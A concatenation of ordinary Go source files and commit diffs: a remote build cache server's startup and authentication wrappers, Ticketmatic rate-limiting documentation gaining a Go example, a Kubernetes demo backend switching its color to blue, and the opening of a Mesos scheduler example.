	checkClientCertForWrites := c.TLSCaFile != "" && c.AllowUnauthenticatedReads
	h := server.NewHTTPCache(diskCache, c.AccessLogger, c.ErrorLogger, validateAC,
		c.EnableACKeyInstanceMangling, checkClientCertForWrites, gitCommit)

	var htpasswdSecrets auth.SecretProvider
	authMode := "disabled"
	cacheHandler := h.CacheHandler
	if c.HtpasswdFile != "" {
		authMode = "basic"
		htpasswdSecrets = auth.HtpasswdFileProvider(c.HtpasswdFile)
		if c.AllowUnauthenticatedReads {
			cacheHandler = unauthenticatedReadWrapper(cacheHandler, htpasswdSecrets, c.HTTPAddress)
		} else {
			cacheHandler = authWrapper(cacheHandler, htpasswdSecrets, c.HTTPAddress)
		}
	} else if c.TLSCaFile != "" {
		authMode = "mTLS"
	}
	log.Println("Authentication:", authMode)

	if authMode != "disabled" {
		if c.AllowUnauthenticatedReads {
			log.Println("Access mode: authentication required for writes, unauthenticated reads allowed")
		} else {
			log.Println("Access mode: authentication required")
		}
	}

	var idleTimer *idle.Timer
	if c.IdleTimeout > 0 {
		idleTimer = idle.NewTimer(c.IdleTimeout)
		cacheHandler = wrapIdleHandler(cacheHandler, idleTimer, c.AccessLogger, httpServer)
	}

	acKeyManglingStatus := "disabled"
	if c.EnableACKeyInstanceMangling {
		acKeyManglingStatus = "enabled"
	}
	log.Println("Mangling non-empty instance names with AC keys:", acKeyManglingStatus)

	if c.EnableEndpointMetrics {
		metricsMdlw := middleware.New(middleware.Config{
			Recorder: httpmetrics.NewRecorder(httpmetrics.Config{
				DurationBuckets: c.MetricsDurationBuckets,
			}),
		})
		mux.Handle("/metrics", middlewarestd.Handler("metrics", metricsMdlw, promhttp.Handler()))
		mux.Handle("/status", middlewarestd.Handler("status", metricsMdlw, http.HandlerFunc(h.StatusPageHandler)))
		mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
			middlewarestd.Handler(r.Method, metricsMdlw, http.HandlerFunc(cacheHandler)).ServeHTTP(w, r)
		})
	} else {
		mux.HandleFunc("/status", h.StatusPageHandler)
		mux.HandleFunc("/", cacheHandler)
	}

	if c.GRPCAddress != "none" {
		go func() {
			opts := []grpc.ServerOption{}
			streamInterceptors := []grpc.StreamServerInterceptor{}
			unaryInterceptors := []grpc.UnaryServerInterceptor{}

			if c.EnableEndpointMetrics {
				streamInterceptors = append(streamInterceptors, grpc_prometheus.StreamServerInterceptor)
				unaryInterceptors = append(unaryInterceptors, grpc_prometheus.UnaryServerInterceptor)
				grpc_prometheus.EnableHandlingTimeHistogram(grpc_prometheus.WithHistogramBuckets(c.MetricsDurationBuckets))
			}

			if c.TLSConfig != nil {
				opts = append(opts, grpc.Creds(credentials.NewTLS(c.TLSConfig)))

				if c.TLSCaFile != "" {
					streamInterceptors = append(streamInterceptors,
						server.GRPCmTLSStreamServerInterceptor(c.AllowUnauthenticatedReads))
					unaryInterceptors = append(unaryInterceptors,
						server.GRPCmTLSUnaryServerInterceptor(c.AllowUnauthenticatedReads))
				}
			}

			if htpasswdSecrets != nil {
				gba := server.NewGrpcBasicAuth(htpasswdSecrets, c.AllowUnauthenticatedReads)
				streamInterceptors = append(streamInterceptors, gba.StreamServerInterceptor)
				unaryInterceptors = append(unaryInterceptors, gba.UnaryServerInterceptor)
			}

			if idleTimer != nil {
				it := server.NewGrpcIdleTimer(idleTimer)
				streamInterceptors = append(streamInterceptors, it.StreamServerInterceptor)
				unaryInterceptors = append(unaryInterceptors, it.UnaryServerInterceptor)
			}

			opts = append(opts, grpc.ChainStreamInterceptor(streamInterceptors...))
			opts = append(opts, grpc.ChainUnaryInterceptor(unaryInterceptors...))

			validateAC := !c.DisableGRPCACDepsCheck
			validateStatus := "disabled"
			if validateAC {
				validateStatus = "enabled"
			}
			log.Println("gRPC AC dependency checks:", validateStatus)

			enableRemoteAssetAPI := c.ExperimentalRemoteAssetAPI
			remoteAssetStatus := "disabled"
			if enableRemoteAssetAPI {
				remoteAssetStatus = "enabled"
			}
			log.Println("experimental gRPC remote asset API:", remoteAssetStatus)

			network := "tcp"
			addr := c.GRPCAddress
			if strings.HasPrefix(c.GRPCAddress, "unix://") {
				network = "unix"
				addr = c.GRPCAddress[len("unix://"):]
			}

			log.Printf("Starting gRPC server on address %s", addr)

			err3 := server.ListenAndServeGRPC(
				network, addr, opts,
				validateAC,
				c.EnableACKeyInstanceMangling,
				enableRemoteAssetAPI,
				diskCache, c.AccessLogger, c.ErrorLogger)
			if err3 != nil {
				log.Fatal(err3)
			}
		}()
	}

	if c.ProfileAddress != "" {
		go func() {
			// Allow access to /debug/pprof/ URLs.
			log.Printf("Starting HTTP server for profiling on address %s",
				c.ProfileAddress)
			log.Fatal(`Failed to listen on address: "`, c.ProfileAddress, `": `, http.ListenAndServe(c.ProfileAddress, nil))
		}()
	}

	validateStatus := "disabled"
	if validateAC {
		validateStatus = "enabled"
	}

	var ln net.Listener
	if strings.HasPrefix(c.HTTPAddress, "unix://") {
		ln, err = net.Listen("unix", c.HTTPAddress[len("unix://"):])
	} else {
		ln, err = net.Listen("tcp", c.HTTPAddress)
	}
	if err != nil {
		log.Fatal(`Failed to listen on address: "`, c.HTTPAddress, `": `, err)
	}

	if len(c.TLSCertFile) > 0 && len(c.TLSKeyFile) > 0 {
		log.Printf("Starting HTTPS server on address %s", httpServer.Addr)
		log.Println("HTTP AC validation:", validateStatus)
		return httpServer.ServeTLS(ln, c.TLSCertFile, c.TLSKeyFile)
	}

	if idleTimer != nil {
		log.Printf("Starting idle timer with value %v", c.IdleTimeout)
		idleTimer.Start()
	}

	log.Printf("Starting HTTP server on address %s", c.HTTPAddress)
	log.Println("HTTP AC validation:", validateStatus)
	return httpServer.Serve(ln)
}

func wrapIdleHandler(handler http.HandlerFunc, idleTimer *idle.Timer, accessLogger cache.Logger, httpServer *http.Server) http.HandlerFunc {

	tearDown := make(chan struct{})
	idleTimer.Register(tearDown)

	go func() {
		<-tearDown
		accessLogger.Printf("Shutting down after idle timeout")
		err := httpServer.Shutdown(context.Background())
		if err != nil {
			fmt.Printf("Error when shutting down http server: %s", err.Error())
		}
	}()

	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		idleTimer.ResetTimer()
		handler(w, r)
	})
}

// A http.HandlerFunc wrapper which requires successful basic
// authentication for all requests.
func authWrapper(handler http.HandlerFunc, secrets auth.SecretProvider, addr string) http.HandlerFunc {
	authenticator := &auth.BasicAuth{Realm: addr, Secrets: secrets}
	return auth.JustCheck(authenticator, handler)
}

// A http.HandlerFunc wrapper which requires successful basic
// authentication for write requests, but allows unauthenticated
// read requests.
func unauthenticatedReadWrapper(handler http.HandlerFunc, secrets auth.SecretProvider, addr string) http.HandlerFunc {
	authenticator := &auth.BasicAuth{Realm: addr, Secrets: secrets}

	return func(w http.ResponseWriter, r *http.Request) {
		if r.Method == http.MethodGet || r.Method == http.MethodHead {
			handler(w, r)
			return
		}

		if authenticator.CheckAuth(r) != "" {
			handler(w, r)
			return
		}

		http.Error(w, "Authorization required", http.StatusUnauthorized)
		// TODO: pass in a logger so we can log this event?
	}
}
<|endoftext|>


<commit_before>// Each account has a built-in rate limiter and may optionally use queues to
// streamline the handling of peak sales. These rate limiters are also applicable
// to the API: order creation (and ticket assignment) is limited globally for an
// account, so a high demand on the web sales pages will also impact the available
// capacity on the API (and vice-versa).
//
// This rate limiting can manifest itself when creating orders or when adding
// tickets to an order: a response status of 429 Rate Limit Exceeded will be
// returned.
//
// This article describes how you can detect and properly handle rate limiting.
//
// Detecting rate limiting
//
// As mentioned earlier, whenever the system detects excessive demand, it will
// trigger a rate limit. When you create an order, the returned status will be 429
// Rate Limit Exceeded.
//
// Like web sales users, you will need to wait in a queue before you can proceed.
// Once it's your turn, the system will create the requested order and allow you to
// continue.
//
// A similar thing might happen when you try to add tickets to an order: the
// requested event (or product) might be rate limited and a 429 will be returned.
//
// Key take-away: Always check the response status of "order creation" and "add
// tickets" calls, be prepared to handle a 429 Rate Limit Exceeded response.
//
// Waiting in a rate limiter queue
//
// Whenever an operation is refused due to rate limiting, you MUST wait in the rate
// limiting queue before retrying the operation or continuing further actions.
//
// If you do not correctly request status updates, the order will be considered
// abandoned. Simply retrying your operation at some point in the future will not
// work and will cause more throttling.
//
// The body of a 429 Rate Limit Exceeded response contains all the data needed to
// handle rate limiting. Here's an example:
//
//
//    {
//      "id": "fa37e57a-5614-4726-9a53-89155424f82d",
//      "progress": 1,
//      "backoff": 30000,
//      "started": false,
//      "starttime": "2018-12-12T22:00:00Z",
//      "orderid": 621
//    }
//
//
//
// The following fields are returned:
//
// * id: The queue ID, which you will need to poll for status updates
//
// * progress: The queue status, which will either be 1 (in progress) or 2
// (finished). You cannot proceed as long as this is 1.
//
// * backoff: Number of milliseconds to wait before requesting a new status update.
// This will change dynamically based on where you are in the queue.
//
// * started: Whether the queue has started (as in: is progressing) or not (as in:
// is waiting until a fixed time before starting).
//
// * starttime: When the queue will start. Only returned for queues that have not
// started (started == false).
//
// * ahead: Number of people waiting in front of this request. Only returned for
// queues that have started (started == true, not shown above).
//
// * orderid: The ID of the newly created order. Only returned when a create order
// operation was rate limited and subsequently progressed through the queue. This
// can be used to retrieve the new order once progressed through the queue.
//
// When encountering a rate limiting response, you must:
//
// * Wait for the amount of time specified in backoff.
//
// * Request a new status.
//
// * If progress == 1: Return to (1) and repeat
//
// * If progress == 2: Continue with normal operations
//
// Requesting a new status is done by sending a POST request to
// /ratelimiting/status/{id}
// (https://apps.ticketmatic.com/#/knowledgebase/api/ratelimiting/status).
//
// Once the returned progress equals 2, it is safe to proceed.
//
// If the throttled operation was "create order", you will not need to retry: the
// order will have been created and is now ready to use. The order ID will be
// supplied as part of the rate limiting status once progress == 2.
//
// If the throttle operation was "add tickets", you will need to retry the
// operation: the tickets you requested initially will not have been added to the
// basket when the call was rate-limited.
//
// Avoiding rate limiting on "add tickets"
//
// Rate limiting on "add tickets" may occur when there are specific queues active
// for certain events. This means that you might get throttled despite having an
// active order.
//
// This is not ideal: it means that users will get placed into a queue when they
// try to add tickets. A much better experience would be to ensure that no rate
// limiting will occur while selecting tickets.
//
// This can be done by passing the event and product IDs for which tickets might
// end up in the order when creating the order.
//
// As an example: suppose you have a custom order page for events 324 and 452. Pass
// these event IDs when creating the order:
//
//
//    {
//        "saleschannelid": 1,
//        "events": [324, 452]
//    }
//
//
//
// If this operation gets rate limited, you will be given a rate limiter session
// that guarantees that any "add tickets" calls for these events will succeed once
// you progress through the queue.
//
// This is a much better user experience and thus highly recommended.
//
// Recommended implementation
//
// The recommended way to build a custom order page that handles rate limiting is
// as follows:
//
// * When a user arrives that the order page, create an order with any possible
// event and product IDs that might occur (see above).
//
// * If this simply returns an order, you will be certain that no further rate
// limiting will occur, the user can now fill his/her basket.
//
// * If a 429 Rate Limit Exceeded response is returned:
//
// * Show the user a page that explains that there is heavy demand (or that the
// sales haven't started yet, depending on the started field).
//
// * Use JavaScript on this page to set a timeout for backoff milliseconds and then
// request a new status with the supplied queue ID. You will need to foresee an
// endpoint in your backend that calls the Ticketmatic API to request a new queue
// status and returns it to the client.
//
// * Make sure you tell the user not to close his/her browser.
//
// This configuration has a number of advantages:
//
// * No additional rate limiting will happen once the order has been created.
//
// * No retry logic is needed on the server: the polling logic happens on the
// client. As long as each user keeps his/her browser open, it will periodically
// fetch new status updates.
//
// Rate limiting in libraries
//
// PHP
//
// A rate limited call will throw a RateLimitException. This exception has a data
// field which contains the rate limiting info.
//
//
//    try {
//        $order = Orders::create($client, array(
//            "events" => array(
//                777714,
//            ),
//            "saleschannelid" => 1,
//        ));
//    } catch (RateLimitException $ex) {
//        $status = $ex->data;
//        // Use $status to inform user about queue.
//        // The queue ID needed for polling is in $status->id
//    }
//
//
//
// Help Center
//
// Full documentation can be found in the Ticketmatic Help Center
// (https://apps.ticketmatic.com/#/knowledgebase/api/ratelimiting).
package ratelimiting
<commit_msg>Rate limiting example<commit_after>// Each account has a built-in rate limiter and may optionally use queues to
// streamline the handling of peak sales. These rate limiters are also applicable
// to the API: order creation (and ticket assignment) is limited globally for an
// account, so a high demand on the web sales pages will also impact the available
// capacity on the API (and vice-versa).
//
// This rate limiting can manifest itself when creating orders or when adding
// tickets to an order: a response status of 429 Rate Limit Exceeded will be
// returned.
//
// This article describes how you can detect and properly handle rate limiting.
//
// Detecting rate limiting
//
// As mentioned earlier, whenever the system detects excessive demand, it will
// trigger a rate limit. When you create an order, the returned status will be 429
// Rate Limit Exceeded.
//
// Like web sales users, you will need to wait in a queue before you can proceed.
// Once it's your turn, the system will create the requested order and allow you to
// continue.
//
// A similar thing might happen when you try to add tickets to an order: the
// requested event (or product) might be rate limited and a 429 will be returned.
//
// Key take-away: Always check the response status of "order creation" and "add
// tickets" calls, be prepared to handle a 429 Rate Limit Exceeded response.
//
// Waiting in a rate limiter queue
//
// Whenever an operation is refused due to rate limiting, you MUST wait in the rate
// limiting queue before retrying the operation or continuing further actions.
//
// If you do not correctly request status updates, the order will be considered
// abandoned. Simply retrying your operation at some point in the future will not
// work and will cause more throttling.
//
// The body of a 429 Rate Limit Exceeded response contains all the data needed to
// handle rate limiting. Here's an example:
//
//
//    {
//      "id": "fa37e57a-5614-4726-9a53-89155424f82d",
//      "progress": 1,
//      "backoff": 30000,
//      "started": false,
//      "starttime": "2018-12-12T22:00:00Z",
//      "orderid": 621
//    }
//
//
//
// The following fields are returned:
//
// * id: The queue ID, which you will need to poll for status updates
//
// * progress: The queue status, which will either be 1 (in progress) or 2
// (finished). You cannot proceed as long as this is 1.
//
// * backoff: Number of milliseconds to wait before requesting a new status update.
// This will change dynamically based on where you are in the queue.
//
// * started: Whether the queue has started (as in: is progressing) or not (as in:
// is waiting until a fixed time before starting).
//
// * starttime: When the queue will start. Only returned for queues that have not
// started (started == false).
//
// * ahead: Number of people waiting in front of this request. Only returned for
// queues that have started (started == true, not shown above).
//
// * orderid: The ID of the newly created order. Only returned when a create order
// operation was rate limited and subsequently progressed through the queue. This
// can be used to retrieve the new order once progressed through the queue.
//
// When encountering a rate limiting response, you must:
//
// * Wait for the amount of time specified in backoff.
//
// * Request a new status.
//
// * If progress == 1: Return to (1) and repeat
//
// * If progress == 2: Continue with normal operations
//
// Requesting a new status is done by sending a POST request to
// /ratelimiting/status/{id}
// (https://apps.ticketmatic.com/#/knowledgebase/api/ratelimiting/status).
//
// Once the returned progress equals 2, it is safe to proceed.
//
// If the throttled operation was "create order", you will not need to retry: the
// order will have been created and is now ready to use. The order ID will be
// supplied as part of the rate limiting status once progress == 2.
//
// If the throttle operation was "add tickets", you will need to retry the
// operation: the tickets you requested initially will not have been added to the
// basket when the call was rate-limited.
//
// Avoiding rate limiting on "add tickets"
//
// Rate limiting on "add tickets" may occur when there are specific queues active
// for certain events. This means that you might get throttled despite having an
// active order.
//
// This is not ideal: it means that users will get placed into a queue when they
// try to add tickets. A much better experience would be to ensure that no rate
// limiting will occur while selecting tickets.
//
// This can be done by passing the event and product IDs for which tickets might
// end up in the order when creating the order.
//
// As an example: suppose you have a custom order page for events 324 and 452. Pass
// these event IDs when creating the order:
//
//
//    {
//        "saleschannelid": 1,
//        "events": [324, 452]
//    }
//
//
//
// If this operation gets rate limited, you will be given a rate limiter session
// that guarantees that any "add tickets" calls for these events will succeed once
// you progress through the queue.
//
// This is a much better user experience and thus highly recommended.
//
// Recommended implementation
//
// The recommended way to build a custom order page that handles rate limiting is
// as follows:
//
// * When a user arrives that the order page, create an order with any possible
// event and product IDs that might occur (see above).
//
// * If this simply returns an order, you will be certain that no further rate
// limiting will occur, the user can now fill his/her basket.
//
// * If a 429 Rate Limit Exceeded response is returned:
//
// * Show the user a page that explains that there is heavy demand (or that the
// sales haven't started yet, depending on the started field).
//
// * Use JavaScript on this page to set a timeout for backoff milliseconds and then
// request a new status with the supplied queue ID. You will need to foresee an
// endpoint in your backend that calls the Ticketmatic API to request a new queue
// status and returns it to the client.
//
// * Make sure you tell the user not to close his/her browser.
//
// This configuration has a number of advantages:
//
// * No additional rate limiting will happen once the order has been created.
//
// * No retry logic is needed on the server: the polling logic happens on the
// client. As long as each user keeps his/her browser open, it will periodically
// fetch new status updates.
//
// Rate limiting in libraries
//
// Go
//
// A rate limited call will return a RateLimitError. This error has a status field
// which contains the rate limiting info.
//
//
//    _, err = orders.Create(c, &ticketmatic.CreateOrder{
//        Events: []int64{
//            777714,
//        },
//        Saleschannelid: 1,
//    })
//    if err != nil {
//        if e, ok := err.(*ticketmatic.RateLimitError); ok {
//            // Do something useful with e:
//            return fmt.Errorf("Need to queue with ID %s\n", e.Status.Id)
//        } else {
//            return err
//        }
//    }
//
//
//
// PHP
//
// A rate limited call will throw a RateLimitException. This exception has a data
// field which contains the rate limiting info.
//
//
//    try {
//        $order = Orders::create($client, array(
//            "events" => array(
//                777714,
//            ),
//            "saleschannelid" => 1,
//        ));
//    } catch (RateLimitException $ex) {
//        $status = $ex->data;
//        // Use $status to inform user about queue.
//        // The queue ID needed for polling is in $status->id
//    }
//
//
//
// Help Center
//
// Full documentation can be found in the Ticketmatic Help Center
// (https://apps.ticketmatic.com/#/knowledgebase/api/ratelimiting).
package ratelimiting
<|endoftext|>


<commit_before>// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
	"context"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"syscall"
	"time"

	v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"
	"k8s.io/client-go/rest"

	"github.com/gin-gonic/gin"
	"github.com/go-redis/redis/v8"
)

var color = "red"
var version = os.Getenv("VERSION")
var rdb = &redis.Client{}
var rdbCtx = context.Background()

func main() {
	port := ":8080"
	rdb = redis.NewClient(&redis.Options{
		Addr:     getRedisURL(),
		Password: "", // no password set
		DB:       0,  // use default DB
	})
	flag.Parse()

	r := gin.Default()
	log.Printf("Backend version: %s\n", version)

	r.LoadHTMLGlob("index.html")
	r.GET("/", handleIndex)
	r.GET("/version", handleVersion)
	r.GET("/healthz", handleHealthz)

	srv := &http.Server{
		Addr:    port,
		Handler: r,
	}

	go func() {
		if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			log.Fatalf("listen: %s\n", err)
		}
	}()

	// Wait for interrupt signal to gracefully shutdown the server with
	// a timeout of 5 seconds.
	quit := make(chan os.Signal, 1)
	// kill (no param) default send syscall.SIGTERM
	// kill -2 is syscall.SIGINT
	// kill -9 is syscall.SIGKILL but can't be catch, so don't need add it
	signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
	<-quit
	log.Println("Shutting down server...")

	// The context is used to inform the server it has 5 seconds to finish
	// the request it is currently handling
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()
	if err := srv.Shutdown(ctx); err != nil {
		log.Fatal("Server forced to shutdown:", err)
	}

	log.Println("Server exiting")
}

func handleIndex(c *gin.Context) {
	log.Printf("Received request from %s at %s", c.Request.RemoteAddr, c.Request.URL.EscapedPath())
	p := PodMetadata{}
	counter, err := incrCounter(c)
	if err != nil {
		c.String(http.StatusInternalServerError, "%v", err)
		return
	}
	err = p.Populate(version, counter, color)
	if err != nil {
		c.String(http.StatusInternalServerError, "%v", err)
		return
	}
	c.HTML(http.StatusOK, "index.html", p)
}

func incrCounter(c *gin.Context) (string, error) {
	err := rdb.Incr(rdbCtx, "counter").Err()
	if err != nil {
		return "", err
	}
	val, err := rdb.Get(rdbCtx, "counter").Result()
	if err != nil {
		return "", err
	}
	return val, nil
}

func handleVersion(c *gin.Context) {
	c.String(http.StatusOK, "%s", c.Value("version"))
}

func handleHealthz(c *gin.Context) {
	status := rdb.Ping(rdbCtx)

	if status.Err() == nil {
		c.String(http.StatusOK, "", "")
	} else {
		errorString := fmt.Sprintf("Unable to reach redis at %v", rdb.Options().Addr)
		c.String(http.StatusInternalServerError, errorString, "")
	}
}

// PodMetadata represents info about an InstanceMetadata in GCE
type PodMetadata struct {
	Name       string
	Namespace  string
	HostIP     string
	PodIP      string
	StartTime  string
	RawRequest string
	Counter    string
	Version    string
	Color      string
	RedisURL   string
}

// Populate creates a new instance with info filled out
func (p *PodMetadata) Populate(version string, counter string, color string) error {
	hostname := os.Getenv("HOSTNAME")
	config, err := rest.InClusterConfig()
	if err != nil {
		return fmt.Errorf("unable to create InClusterConfig client: %v", err)
	}
	// creates the clientset
	clientset, err := kubernetes.NewForConfig(config)
	if err != nil {
		return fmt.Errorf("unable to create kubernetes client: %v", err)
	}

	pod, err := clientset.CoreV1().Pods(getNamespace()).Get(context.TODO(), hostname, v1.GetOptions{})
	if err != nil {
		return fmt.Errorf("unable to find pod %s: %v", hostname, err)
	}
	p.Name = pod.Name
	p.HostIP = pod.Status.HostIP
	p.Namespace = pod.Namespace
	p.PodIP = pod.Status.PodIP
	p.StartTime = pod.Status.StartTime.String()
	p.Counter = counter
	p.Version = version
	p.Color = color
	p.RedisURL = rdb.Options().Addr
	return nil
}

func getNamespace() string {
	// Fall back to the namespace associated with the service account token, if available
	if data, err := ioutil.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"); err == nil {
		if ns := strings.TrimSpace(string(data)); len(ns) > 0 {
			return ns
		}
	}
	return "default"
}
<commit_msg>Make it blue<commit_after>// Copyright 2021 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
	"context"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"syscall"
	"time"

	v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/client-go/kubernetes"
	"k8s.io/client-go/rest"

	"github.com/gin-gonic/gin"
	"github.com/go-redis/redis/v8"
)

var color = "blue"
var version = os.Getenv("VERSION")
var rdb = &redis.Client{}
var rdbCtx = context.Background()

func main() {
	port := ":8080"
	rdb = redis.NewClient(&redis.Options{
		Addr:     getRedisURL(),
		Password: "", // no password set
		DB:       0,  // use default DB
	})
	flag.Parse()

	r := gin.Default()
	log.Printf("Backend version: %s\n", version)

	r.LoadHTMLGlob("index.html")
	r.GET("/", handleIndex)
	r.GET("/version", handleVersion)
	r.GET("/healthz", handleHealthz)

	srv := &http.Server{
		Addr:    port,
		Handler: r,
	}

	go func() {
		if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			log.Fatalf("listen: %s\n", err)
		}
	}()

	// Wait for interrupt signal to gracefully shutdown the server with
	// a timeout of 5 seconds.
	quit := make(chan os.Signal, 1)
	// kill (no param) default send syscall.SIGTERM
	// kill -2 is syscall.SIGINT
	// kill -9 is syscall.SIGKILL but can't be catch, so don't need add it
	signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
	<-quit
	log.Println("Shutting down server...")

	// The context is used to inform the server it has 5 seconds to finish
	// the request it is currently handling
	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer cancel()
	if err := srv.Shutdown(ctx); err != nil {
		log.Fatal("Server forced to shutdown:", err)
	}

	log.Println("Server exiting")
}

func handleIndex(c *gin.Context) {
	log.Printf("Received request from %s at %s", c.Request.RemoteAddr, c.Request.URL.EscapedPath())
	p := PodMetadata{}
	counter, err := incrCounter(c)
	if err != nil {
		c.String(http.StatusInternalServerError, "%v", err)
		return
	}
	err = p.Populate(version, counter, color)
	if err != nil {
		c.String(http.StatusInternalServerError, "%v", err)
		return
	}
	c.HTML(http.StatusOK, "index.html", p)
}

func incrCounter(c *gin.Context) (string, error) {
	err := rdb.Incr(rdbCtx, "counter").Err()
	if err != nil {
		return "", err
	}
	val, err := rdb.Get(rdbCtx, "counter").Result()
	if err != nil {
		return "", err
	}
	return val, nil
}

func handleVersion(c *gin.Context) {
	c.String(http.StatusOK, "%s", c.Value("version"))
}

func handleHealthz(c *gin.Context) {
	status := rdb.Ping(rdbCtx)

	if status.Err() == nil {
		c.String(http.StatusOK, "", "")
	} else {
		errorString := fmt.Sprintf("Unable to reach redis at %v", rdb.Options().Addr)
		c.String(http.StatusInternalServerError, errorString, "")
	}
}

// PodMetadata represents info about an InstanceMetadata in GCE
type PodMetadata struct {
	Name       string
	Namespace  string
	HostIP     string
	PodIP      string
	StartTime  string
	RawRequest string
	Counter    string
	Version    string
	Color      string
	RedisURL   string
}

// Populate creates a new instance with info filled out
func (p *PodMetadata) Populate(version string, counter string, color string) error {
	hostname := os.Getenv("HOSTNAME")
	config, err := rest.InClusterConfig()
	if err != nil {
		return fmt.Errorf("unable to create InClusterConfig client: %v", err)
	}
	// creates the clientset
	clientset, err := kubernetes.NewForConfig(config)
	if err != nil {
		return fmt.Errorf("unable to create kubernetes client: %v", err)
	}

	pod, err := clientset.CoreV1().Pods(getNamespace()).Get(context.TODO(), hostname, v1.GetOptions{})
	if err != nil {
		return fmt.Errorf("unable to find pod %s: %v", hostname, err)
	}
	p.Name = pod.Name
	p.HostIP = pod.Status.HostIP
	p.Namespace = pod.Namespace
	p.PodIP = pod.Status.PodIP
	p.StartTime = pod.Status.StartTime.String()
	p.Counter = counter
	p.Version = version
	p.Color = color
	p.RedisURL = rdb.Options().Addr
	return nil
}

func getNamespace() string {
	// Fall back to the namespace associated with the service account token, if available
	if data, err := ioutil.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"); err == nil {
		if ns := strings.TrimSpace(string(data)); len(ns) > 0 {
			return ns
		}
	}
	return "default"
}
<|endoftext|>


<commit_before>/**
 * Licensed to the Apache Software Foundation (ASF) under one
 * or more contributor license agreements.  See the NOTICE file
 * distributed with this work for additional information
 * regarding copyright ownership.  The ASF licenses this file
 * to you under the Apache License, Version 2.0 (the
 * "License"); you may not use this file except in compliance
 * with the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package main

import (
	"flag"
	"fmt"
	"io/ioutil"
	"net"
	"os"
	"strconv"

	"github.com/gogo/protobuf/proto"
	log "github.com/golang/glog"
	"github.com/mesos/mesos-go/auth"
	"github.com/mesos/mesos-go/auth/sasl"
	"github.com/mesos/mesos-go/auth/sasl/mech"
	mesos "github.com/mesos/mesos-go/mesosproto"
	util "github.com/mesos/mesos-go/mesosutil"
	sched "github.com/mesos/mesos-go/scheduler"
	mlog "github.com/yp-engineering/mesos-runounce/mesosutil"
	"golang.org/x/net/context"
)

var (
	address      = flag.String("address", "127.0.0.1", "Binding address for artifact server")
	authProvider = flag.String("mesos_authentication_provider", sasl.ProviderName,
		fmt.Sprintf("Authentication provider to use, default is SASL that supports mechanisms: %+v", mech.ListSupported()))
	master              = flag.String("master", "127.0.0.1:5050", "Master address <ip:port>")
	taskCount           = flag.Int("task-count", 5, "Total task count to run.")
	mesosAuthPrincipal  = flag.String("mesos_authentication_principal", "", "Mesos authentication principal.")
	mesosAuthSecretFile = flag.String("mesos_authentication_secret_file", "", "Mesos authentication secret file.")
	dockerImage         = flag.String("docker-image", "", "Docker image to run.")
	dockerCmd           = flag.String("docker-cmd", "", "Docker command to run.")
	dCpus               = flag.Float64("cpus", 1.0, "How many CPUs to use.")
	dMem                = flag.Float64("mem", 10, "How much memory to use.")
)

type ExampleScheduler struct {
	executor      *mesos.ExecutorInfo
	tasksLaunched int
	tasksFinished int
	totalTasks    int
}

func newExampleScheduler(exec *mesos.ExecutorInfo) *ExampleScheduler {
	return &ExampleScheduler{
		executor:      exec,
		tasksLaunched: 0,
		tasksFinished: 0,
		totalTasks:    *taskCount,
	}
}

func (sched *ExampleScheduler) Registered(driver sched.SchedulerDriver, frameworkId *mesos.FrameworkID, masterInfo *mesos.MasterInfo) {
	log.Infoln("Framework Registered with Master ", masterInfo)
}

func (sched *ExampleScheduler) Reregistered(driver sched.SchedulerDriver, masterInfo *mesos.MasterInfo) {
	log.Infoln("Framework Re-Registered with Master ", masterInfo)
}

func (sched *ExampleScheduler) Disconnected(sched.SchedulerDriver) {
	log.Fatalf("disconnected from master, aborting")
}

func (sched *ExampleScheduler) ResourceOffers(driver sched.SchedulerDriver, offers []*mesos.Offer) {

	if sched.tasksLaunched >= sched.totalTasks {
		log.Info("decline all of the offers since all of our tasks are already launched")
		ids := make([]*mesos.OfferID, len(offers))
		for i, offer := range offers {
			ids[i] = offer.Id
		}
		driver.LaunchTasks(ids, []*mesos.TaskInfo{}, &mesos.Filters{RefuseSeconds: proto.Float64(120)})
		return
	}
	for _, offer := range offers {
		cpuResources := util.FilterResources(offer.Resources, func(res *mesos.Resource) bool {
			return res.GetName() == "cpus"
		})
		cpus := 0.0
		for _, res := range cpuResources {
			cpus += res.GetScalar().GetValue()
		}

		memResources := util.FilterResources(offer.Resources, func(res *mesos.Resource) bool {
			return res.GetName() == "mem"
		})
		mems := 0.0
		for _, res := range memResources {
			mems += res.GetScalar().GetValue()
		}

		log.Infoln("Received Offer <", offer.Id.GetValue(), "> with cpus=", cpus, " mem=", mems)

